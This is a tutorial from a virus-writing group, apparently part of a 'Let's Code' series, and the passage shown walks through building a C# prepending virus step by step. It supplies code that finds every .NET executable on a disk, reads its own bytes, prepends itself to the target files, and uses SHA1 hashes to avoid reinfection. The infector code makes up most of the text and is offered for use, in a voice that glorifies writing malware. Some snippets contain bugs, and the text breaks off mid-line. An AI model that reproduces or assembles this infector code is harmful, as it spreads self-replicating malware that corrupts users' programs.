Let's Code A C# Prepending Virus : Part of Brigada Ocho's "Let's Code" Series ----------------------------------------------------------------------------- hello. i'm alcopaul. today, we'll code a c# prepending virus. all we need to make a prepending c# virus are the c# compiler, csc.exe, which is included in every installation of the .net framework redistributable or the .net framework sdk, the .NET framework documentation (you can also use the online documentation), some myuzique (bob marley, ozzy osbourne, the skalers, and christina aguilera), some cigarettes (only Marlboro) and of course, a PC. so let's do some blueprinting 1st. target .net c# prepending virus 1) must only infect .net exe files "sangre por sangre" 2) must identify targets in the disk and that means all! ALL! 3) must be able to identify itself and read its own contents it won't be a companion virus. and it won't be Sharpei. Flatei! :P 4) must be able to open the, read the and write itself to the target it won't be an infector if it doesn't satisfy this.. 5) must recognise previous infections not by reading attached signature string ever heard of hashing? the proc computes a certain unique value for a specified number of bytes. we can use it to detect previous infections without signature/marker.. 6) must be able to reconstruct the host so it will satisfy the definition of a prepending virus. 7.) must be able to save the time stamps.. little stealth.. 8.) must have a name.. we all name our creations, ayt? whatis prepending virus - a program that positions itself at the beginning of the target file and usually gives control to the "moved" file. so when an infected file is executed, the virus obviously gets executed first and oughts to execute the "displaced" file. virus -----> host -----> virus/host no payloads... coding time ----------- ** prior knowledge of c# syntaxing is required so we're now ready to code a c# prepending virus. and we'll do dividing and conquering.. divide-and-conquer was proved to be effective in wars. and now we'll apply it to programming. divide-and-conquer is technique in which one first does specific codes then plugs the codes together to make the desired output. sorta like an assembly line in a car factory. different people makes different parts and when the parts are ready, an assembly line just plug-in the parts to become a fully functional car. let's do the first task then 1. must only infect dotnet files dotnet virus by benny checks the signature "BSJB" to distinguish a dotnet file from not... we can do this in our code but it'll just be a waste of time to do a file search concentrating on the 4 letters and do the infection. i must admit that i don't know the exact location of the bsjb signature and i don't care bout that bsjb.. besides, we're not in asm.. (win32asm viruses are lame coz they just check the "PE" string to identify their targets. sophistication = ohohhhh)... let's set our minds on one thing... the difference between a managed (dotnet) executable and an unmanaged(native) executable so we can segregate things... the main difference is that managed executable does have a metadata while unmanaged codes doesn't... ----------------------------------------------------------------------------------------- |tell me more| metadata describes the structural aspect of an assembly in minute detail. it sorta gives instructions to the dotnet framework on how to treat , JIT compile and execute a given assembly... assembly - application in .net lingo.. may be composed of single executable or multiple executable.. jit - just-in-time managed executables - executables compiled using c#,vb.net,jscript.net,managed c++.net, cobol.net and are very dependent on the dotnet framwork.. unmanaged executables - compiled to native code.... examples: solitaire.exe, vb6 codes, VC++6 codes asm codes... ------------------------------------------------------------------------------------------ and that difference is just enough to accomplish our first task.... luckily, dotnet framework has this reflection class and when used, allows a managed code to be examined; getting the assembly name, attributes of an assembly, other metadata entries etc. reflection has many subclasses so we well just concentrate on an aspect, the ability to extract metadata entry from a managed code... and since unmanaged code have no metadata, it means that when an exception was throwed while our code is extracting a metadata entry from a file, the file queried is unmanaged. :D so we're now ready to search a function in the .net framework sdk that will satisfy this; must extract metadata entries from a file... and yes we found a method.. --------------------------------------------------- AssemblyName.GetAssemblyName Method [C#] [Serializable] public static AssemblyName GetAssemblyName( string assemblyFile ); Parameters assemblyFile The assembly file for which to get the AssemblyName. Return Value An AssemblyName object representing the given file. Exceptions Exception Type Condition ArgumentNullException - assemblyFile is a null reference (Nothing in Visual Basic). ArgumentException - assemblyFile is empty. FileNotFoundException - assemblyFile is not found. SecurityException - The caller does not have path discovery permission. FileLoadException - An assembly or module was loaded twice with two different evidences. BadImageFormatException - assemblyFile is not a valid assembly. ---------------------------------------------------- so that's it... AssemblyName is a metadata entry... and it's obvious that when we passed an unmanaged file as its argument, it will raise a BadImageFormatException coz unmanaged file doesn't contain the AssemblyName metadata... yeah! ------------------------------------------------------------- AssemblyName = Fully describes an assembly's unique identity. ------------------------------------------------------------- now let's code a snippet that will determine whether or not a file is managed.. ------------------------------------ note: c$harp is case $en$itive ------------------------------------ code#1 : save as check.cs ----------------------------------------------------- using System; // it's always a good habit to use System first using System.Reflection; // reflection is the key public class netornot { public static void Main(String[] file) { try { AssemblyName AN = AssemblyName.GetAssemblyName(file[0]); Console.WriteLine(file[0] + " is a dotnet file"); } catch { Console.WriteLine(file[0] + " is an unmanaged file"); } } } ------------------------------------------------------ compile this : csc check.cs usage : check c:\file.exe note: when the command-line parameter is ommited, check.exe will throw an exception.. finally, first task is done... 2.) must identify targets in disk my flatei virus sucks coz it only infects files in current directory. we want to infect dotnet executables in a disk, ayt... now, we'll make a snippet that enumerates target files the disk... we must first identify the virus' targets for the virus to infect them. first, we must teach the virus getting the root directory from its current position... consult documentation for required methods.. ------------------------------------------- Directory.GetCurrentDirectory Method Gets the current working directory of the application. [C#] public static string GetCurrentDirectory(); Return Value A string containing the path of the current working directory. -------------------------------------------- Path.GetPathRoot Method Gets the root directory information of the specified path. [C#] public static string GetPathRoot( string path ); Parameters path The path from which to obtain root directory information. Return Value A string containing the root directory of path, such as "C:\", or a null reference (Nothing in Visual Basic) if path is a null reference (Nothing) or does not contain root directory information. ----------------------------------------------- let's code code#2.a using System; using System.IO; public class getroot { public static void Main() { string curdir = Directory.GetCurrentDirectory(); string rootie = Path.GetPathRoot(curdir); Console.WriteLine(rootie); } } compile: csc getroot.cs run: getroot.exe returns: the root Why is the root extremely important to us? we will search all our target files in a disk and the root is the best starting point to get all directories and files.. from root to tip so the next thing in mind is coding the recursion snippet... let us consult dotnet framework documentation again... luckily, the documentation gave us an example on how to recurse and obtain files from hdisk.. [C#] // For Directory.GetFiles and Directory.GetDirectories // For File.Exists, Directory.Exists using System; using System.IO; using System.Collections; // Takes an array of file names or directory names on the command line. // Determines what kind of name it is and processes it appropriately public class RecursiveFileProcessor { public static void Main(string[] args) { foreach(string path in args) { if(File.Exists(path)) { // This path is a file ProcessFile(path); } else if(Directory.Exists(path)) { // This path is a directory ProcessDirectory(path); } else { Console.WriteLine("{0} is not a valid file or directory.", path); } } } // Process all files in the directory passed in, and recurse on any directories // that are found to process the files they contain public static void ProcessDirectory(string targetDirectory) { // Process the list of files found in the directory string [] fileEntries = Directory.GetFiles(targetDirectory); foreach(string fileName in fileEntries) ProcessFile(fileName); // Recurse into subdirectories of this directory string [] subdirectoryEntries = Directory.GetDirectories(targetDirectory); foreach(string subdirectory in subdirectoryEntries) ProcessDirectory(subdirectory); } // Real logic for processing found files would go here. public static void ProcessFile(string path) { Console.WriteLine("Processed file '{0}'.", path); } } --------------------------------------------- and all we have to do is modify that snippet to satisfy our needs... the snippet above displays all the files in the command-line directory parameter on the console.. we just need the exe files so we have to do referencing again... ---------------------------------------- Directory.GetFiles Method (String, String) Returns the names of files in the specified directory that match the specified search pattern. [C#] public static string[] GetFiles( string path, string searchPattern ); Parameters path The directory to search. searchPattern The search string to match against the names of files in path. The searchPattern parameter cannot contain DirectorySeparatorChar or AltDirectorySeparatorChar. Return Value A String array containing the names of files in the specified directory that match the specified search pattern. ------------------------------------------------------------------------------------------- Directory.GetDirectories Method (String) Gets the names of subdirectories in the specified directory. [C#] public static string[] GetDirectories( string path ); Parameters path The path for which an array of subdirectory names is returned. Return Value An array of type String containing the names of subdirectories in path. ----------------------------------------------------------------------------------- now let's code a snippet that displays only exe files from root to recursed directories.. code#2.b using System; using System.IO; public class displayexe { public static void Main() { string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } public static void DispEXE(string tD) { string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) Console.WriteLine(xfile); string [] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } } compile: csc displayexe.cs run: displayexe.exe returns: exe files in hd ============================= Plugging Tasks Together I ============================= so we have achieved 2 goals, identifying unmanaged files from managed files and getting all exe files in the hd.. with this two goals, we can achieve a macro-goal.. and that is getting all the managed files from the hd.. and this is necessary for our prepending virus to infect all the dotnet executables (*.exe) in the hd... Let's Code.. Plugging Together code#1 and code#2.b with some little explanation code#1&2 using System; using System.IO; using System.Reflection; public class displaydotnetexe { public static void Main() { string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } public static void DispEXE(string tD) { string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) { // query if the file is managed try { AssemblyName AN = AssemblyName.GetAssemblyName(xfile); // so all the displayed exe in the console is managed Console.WriteLine(xfile); //next file to query if managed or not continue; } catch { //if error, unmanaged file, next file pls... continue; } } string [] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } } compile: csc displaydotnetexe.cs run: displaydotnetexe.exe returns: dotnet exefiles in hd.. 3) must be able to identify itself and read its own contents at first, i was amazed on reports that Sharpei was the first malware to do some worming and prepending... but when i downloaded the virus+description from the author's site, i was dismayed... sharpei only drops a c# component and the c# component gets the original dropper file and prepend that to target files... blame the hype to avs... to satisfy a definition of prepending virus, our malware must be able to identify itself and read its own contents... and does this while our malware is actually executing... via reflection, an executing assembly can obtain metadata from itself... let's explore the other reflection methods... ------------------------------------------------- Assembly.GetExecutingAssembly Method Gets the Assembly that the current code is running from. [C#] [Serializable] [ClassInterface(ClassInterfaceType.AutoDual)] public static Assembly GetExecutingAssembly(); Return Value The assembly that the current code is running from. --------------------------------------------------- Assembly.FullName Property Gets the display name of the assembly. [C#] [Serializable] [ClassInterface(ClassInterfaceType.AutoDual)] public virtual string FullName {get;} Property Value The display name of the assembly. --------------------------------------------------- since Assembly.GetExecutingAssembly returns the Assembly structure, we can obtain the structure's FullName property.. let's experiment.. code#3.a ----------------------------------- using System; using System.Reflection; public class self { public static void Main() { Console.WriteLine(Assembly.GetExecutingAssembly().FullName); } } ------------------------------------ compile: csc self.cs run: self.exe returns: self, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null so it returns different values, and the most important is the first value.. self we can parse the result only getting the first entry and add a ".exe" extension and whalla, we can make a snippet that can identify itself... and we can get its fully qualified name by getting the current directory and attaching it to assembly name + ".exe"... but we must take into consideration the fact that our virus will infect different files and our virus must assume the filename of its host for it to read itself and infect other files.. so let's test the code above if it satisfies this by renaming it to other filename.. i.e. ren self.exe host.exe host.exe so the expected return value must be host, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null shit, the return code is self, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null too bad. our virus won't assume its new name... heck, that snippet is only good for companion virus... we're in dark grounds and we must have a fire source.. we must tackle the problem step-by-step and make the first move by defining an Assembly... ! a managed .net application is called an assembly and a managed executable is called a module.. !! an assembly is a deployment unit which may be composed of a single module or multiple modules... imagine an assembly as a virus group composed of different members.. kagra, when ask what virus group does he belong, will reply "brigada ocho" .. arkhangel, will also reply "brigada ocho"... and if kagra decided to change his nick to nikos, he will still reply "brigada ocho" when ask bout his vx group.. so previous code above is like askin, "hey, self.exe, what's your assembly name?" and expecting a "self" answer.. even if we ask, "hey, host.exe, what's your assembly name?", after the file changed its name, we can still expect a "self" answer coz once an assembly name is defined after compilation, it will not change even if it is under different names.. assembly name is immutable.. in a multimodule assembly there exist a single module which carries a manifest that contains the assembly's identity... that single module is called the prime module.. since our virus will just be composed of a single prime module, we can concentrate on getting the module's properties.. it might lead us to the getting the path and the assumed names of our virus.. let's find a method that will get modules in our assembly.. ------------------------------- Assembly.GetModules Method () Gets all the modules that are part of this assembly. [C#] [Serializable] [ClassInterface(ClassInterfaceType.AutoDual)] public Module[] GetModules(); Return Value An array of modules. ------------------------------- Module.FullyQualifiedName Property Gets a string representing the fully qualified name and path to this module. [C#] [Serializable] public virtual string FullyQualifiedName {get;} Property Value The fully qualified module name. -------------------------------- Assembly.GetModules returns an array of Module structs.. since the virus has only a single module, it can get its prime module using [0]... then upon getting the prime module, we can solicit the fully qualified name (path and name + extension) of the module using Module.FullyQualifiedName.. and let's use that in a snippet code#3.b using System; using System.Reflection; public class self1 { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //get the prime module Console.WriteLine(self.FullyQualifiedName); } } compile: csc c:\rrr\self1.cs run: c:\rrr\self1.exe result: c:\rrr\self1.exe kewl.. we don't have to do some parsing and string additions here.. the snippet above does it all.. let's try to test if it will adapt to different file name changes... ren c:\po\self1.exe c:\po\host1.exe c:\po\host1.exe returns c:\po\host1.exe so it can adapt to different file changes.. with this, we can make our proggie read itself even if its filename is changed... reading itself -------------- System.IO namespace has classes that offer services on reading and writing files.. the BinaryReader/BinaryWriter classes and the StreamReader/StreamWriter classes... StreamReader/StreamWriter classes ares so fragile.. using them will cost you a lot of data conversions (from string to byte etc.) since we just care bout reading and writing data to files, then we must choose binaryreader and binary writer classes coz with those classes, we're only dealing with single data type, the byte... no unnecessary data conversions.. (i think this is why benny said in an article in 29a6 that writing a prepending c# virus is a pain in his ass and resorted to dotnet win32asm virus) ------------------------------------------ FileStream Constructor(String, FileMode, FileAccess) Initializes a new instance of the FileStream class with the specified path, creation mode, and read/write permission. [C#] public FileStream( string path, FileMode mode, FileAccess access ); Parameters path A relative or absolute path for the file that the current FileStream object will encapsulate. mode A FileMode constant that determines how to open or create the file. access A FileAccess constant that determines how the file may be accessed by the FileStream object. This gets the CanRead and CanWrite properties of the FileStream object. CanSeek is true if path specifies a disk file. ------------------------------------------ ---------------------------------------- BinaryReader Class Reads primitive data types as binary values in a specific encoding. ----------------------------------------- BinaryReader Constructor(Stream) Initializes a new instance of the BinaryReader class based on the supplied stream and using UTF8Encoding. [C#] public BinaryReader( Stream input ); Parameters input A stream. ------------------------------------------- FileStream.Length Property Gets the length in bytes of the stream. [C#] public override long Length {get;} Property Value A long value representing the length of the stream in bytes. ------------------------------------------- BinaryReader.BaseStream Property Exposes access to the underlying stream of the BinaryReader. [C#] public virtual Stream BaseStream {get;} Property Value The underlying stream associated with the BinaryReader. -------------------------------------------- FileStream.Length Property Gets the length in bytes of the stream. [C#] public override long Length {get;} Property Value A long value representing the length of the stream in bytes. -------------------------------------------- BinaryReader.Read Method (Byte[], Int32, Int32) Reads count bytes from the stream with index as the starting point in the byte array. [C#] public virtual int Read( byte[] buffer, int index, int count ); Parameters buffer The buffer to read data into. index The starting point in the buffer at which to begin reading into the buffer. count The number of characters to read. Return Value The number of characters read into buffer. This might be less than the number of bytes requested if that many bytes are not available, or it might be zero if the end of the stream is reached. ------------------------------------------- Stream.Seek Method When overridden in a derived class, sets the position within the current stream. [C#] [Serializable] public abstract long Seek( long offset, SeekOrigin origin ); Parameters offset A byte offset relative to origin. If offset is negative, the new position will precede the position specified by origin by the number of bytes specified by offset. If offset is zero, the new position will be the position specified by origin. If offset is positive, the new position will follow the position specified by origin by the number of bytes specified by offset. origin A value of type SeekOrigin indicating the reference point used to obtain the new position. Return Value The new position within the current stream. --------------------------------------------- BinaryReader.Close Method Closes the current reader and the underlying stream. [C#] public virtual void Close(); ------------------------------------------------- with the classes, methods and properties laid, then let's do the coding.. code#3.c using System; using System.IO; using System.Reflection; public class readself { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //open self for reading FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. } } the code above only reads itself.. it doesn't output anythin'.. so to verify this code, we must write the read contents to a file... this is where the BinaryWriter comes to place... so we need additional references.. ----------------------------------- BinaryWriter Class Writes primitive types in binary to a stream and supports writing strings in a specific encoding. ------------------------------------ BinaryWriter.Seek Method Sets the position within the current stream. [C#] [Serializable] public virtual long Seek( int offset, SeekOrigin origin ); Parameters offset A byte offset relative to origin. origin A field of SeekOrigin indicating the reference point from which the new position is to be obtained. Return Value The position with the current stream. ------------------------------------- BinaryWriter.Write Method (Byte[]) [C#] [Serializable] public virtual void Write( byte[] buffer ); Writes a byte array to the underlying stream. Parameters buffer A byte array containing the data to write. ---------------------------------------- BinaryWriter.Close Method Closes the current BinaryWriter and the underlying stream. [C#] [Serializable] public virtual void Close(); ------------------------------------------- BinaryWriter Constructor (Stream) Initializes a new instance of the BinaryWriter class based on the supplied stream and using UTF-8 as the encoding for strings. [C#] [Serializable] public BinaryWriter( Stream output ); Parameters output The output stream. --------------------------------------------- code#3.d using System; using System.IO; using System.Reflection; public class readself { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //open self for reading FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. //let's write the code to another file FileStream sx = new FileStream("output.exe", FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx);//write read contents bw.Close(); } } ------------------------------------------------- compile: csc readself.cs run: readself.exe returns: output.exe in current directory.. when output.exe is executed, it will throw an exception saying that the output.exe can't do reading and writing to itself coz it is used by other process.. success! 4) must be able to open the, read the and write itself to the target since we know how to read a file and write the contents to another file, achieving our next goal will be easy.. all we have to do is do some simple math.. to prepend a code to a target, we must read the code A to be prepended and read the code B to be moved and write A + B contents to code B... here's an illustration... code#4 using System; using System.IO; using System.Reflection; public class infect { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //open self for reading FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. //let's read the target contents FileStream xs1 = new FileStream("getroot.exe", FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file FileStream sx = new FileStream("getroot.exe", FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx);//write read contents of this code bw.Write(xxx1);//then the content of target bw.Close(); //to the target... } } compile: csc infect.cs run: infect.exe returns: getroot.exe is prepended with infect.exe code... 5) must recognise previous infections not by reading attached signature string a virus that doesn't recognise previous infections will reinfect the targets or infect itself... so we must teach our virus to recognize itself or part of itself using hashing... the .net framework has this System.Security.Cryptography class that offers developers built in encryption routines and hashing routines.. so we don't need to code a hasher for this case.. let's just rely on the classes.. ---------------------- SHA1 Class Computes the SHA1 hash for the input data. ---------------------- and the docu gave us a snippet.. Example [C#] The following example computes the SHA1 hash for data and stores it in result. This example assumes that there is a predefined constant DATA_SIZE. [C#] byte[] data = new byte[DATA_SIZE]; byte[] result; SHA1 sha = new SHA1CryptoServiceProvider(); // This is one implementation of the abstract class SHA1. result = sha.ComputeHash(data); so we can use this right away to compute the sha1 value of our virus.... ! take note: once a csharp code is compiled, it will only have a single unique sha1 value.. the sha1 value of our virus can be used to determine if its present in a host file or not... code#5.a using System; using System.Security.Cryptography; using System.IO; using System.Reflection; public class marker { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //open self for reading FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. SHA1 mark = SHA1CryptoServiceProvider(); byte[] result = sha.ComputeHash(xxx); } } so the code above get's the byte array hash of itself... so how can we use it as a marker? ------------------------------------------ HashAlgorithm.ComputeHash Method (Stream) [C#] public byte[] ComputeHash( Stream inputStream ); Parameters inputStream The input for which to compute the hash code. -------------------------------------------- to simplify things, we must convert the sha1 byte array to string to do a simple string compare.... excerpt from http://support.microsoft.com/default.aspx?scid=kb;en-us;Q312906 public static String BytesToHexString(byte[] bytes) { StringBuilder hexString = new StringBuilder(64); for (int counter = 0; counter < bytes.Length; counter++) { hexString.Append(String.Format("{0:X2}", bytes[counter])); } return hexString.ToString(); } so let's plug this into code#5 code#5.b using System; using System.Security.Cryptography; using System.IO; using System.Reflection; using System.Text; public class marker { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; //open self for reading FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. SHA1 mark = new SHA1CryptoServiceProvider(); byte[] result = mark.ComputeHash(xxx); Console.WriteLine(BytesToHexString(result)); } public static String BytesToHexString(byte[] bytes) { StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < bytes.Length; counter++) { hexString.Append(String.Format("{0:X2}", bytes[counter])); } return hexString.ToString(); } } compile: csc marker.cs run: marker.cs returns: sha1 hash of itself displayed in the console.. notice that if you compile the snippet again, new sha1 value will be shown.. since our virus won't compile itself again, it will just have a unique, immutable sha1 hash value throughout its existence... so we can use that as an infection marker.. but, take a look at this .... FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //what if the virus is in a host file? // it will mean that it will get the hash value of virus plus the host bytes... //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; ....... selflen will contain the length of the virus and the displaced host... meaning the sha1 hash value of virus/hosta is not equal to the value of virus/hostb.... the virus will just infect files in every cycle.. we can modify the code above to get only the virus' sha1 hash value... ........ FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) constantvirussize; //get length to allocate the byte buffer // so it will only get the sha1 hash value from virus' bytes //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; .......... what if the host size is lesser than the constant virus size? then if that's the case, the program will raise an exception.(sorta size mismatch)... it's safe for us to do this.. we'll just get the hash value of the first thousand bytes of files coz there is only a miniscule chance for us getting the similar hash values of the first 1000 bytes of files and the smallest dotnet executable the can be made using ilasm is around 2k.. we better do this than to sacrifice the functionality of our virus.... !!! you can also use md5 hashing.. but i prefer sha1 coz i've never seen a win32asm implementation of sha1... let's code a snippet the will compare the first 1000 byte hash value between itself and a file they're identical or not.. code#5.c using System; using System.Security.Cryptography; using System.IO; using System.Reflection; using System.Text; public class marker { public static void Main(string[] args) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; FileStream xs = new FileStream(self.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. SHA1 mark = new SHA1CryptoServiceProvider(); byte[] result = mark.ComputeHash(xxx); FileStream xs1 = new FileStream(arg[0], FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. SHA1 mark1 = new SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(xxx1); if (BytesToHexString(result)==BytesToHexString(result1)) { Console.WriteLine(arg[0] + " is " + self.FullyQualifiedName); } else { Console.WriteLine("They're different files); } } public static String BytesToHexString(byte[] bytes) { StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < bytes.Length; counter++) { hexString.Append(String.Format("{0:X2}", bytes[counter])); } return hexString.ToString(); } } compile: csc marker1.cs run: marker1.exe (file) return if run: marker1.exe marker1.exe "marker1.exe is (path)\marker1.exe" if run: marker1.exe jsc.exe "They're different files" if copied marker1.exe to g.exe and run: marker1.exe g.exe "marker1.exe is (path)\g.exe" .... ===================================== Plugging Tasks Together 2 ===================================== we finished these tasks already 1.) identifying itself and reading its contents 2.) reading and writing to target files 3.) identifying its existence in files.. with those, let's code a program that will insert itself to exe files in current directory with no reinfection.. code#34&5 using System; using System.Security.Cryptography; using System.Text; using System.IO; using System.Reflection; public class infector { public static void Main() { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; string curdir = Directory.GetCurrentDirectory(); string[] files = Directory.GetFiles(curdir); foreach(string filed in files) { if (getsha1(self.FullyQualifiedName)==getsha1(filed)) { continue; } else //if not equal { try { infect(filed,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc. } catch { continue; //next file } } } } public static void infect(string target, string source) { FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) xs.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. //let's read the target contents FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx);//write read contents of this code bw.Write(xxx1);//then the content of target bw.Close(); //to the target... } public static string getsha1(string filex) { FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. SHA1 mark1 = new 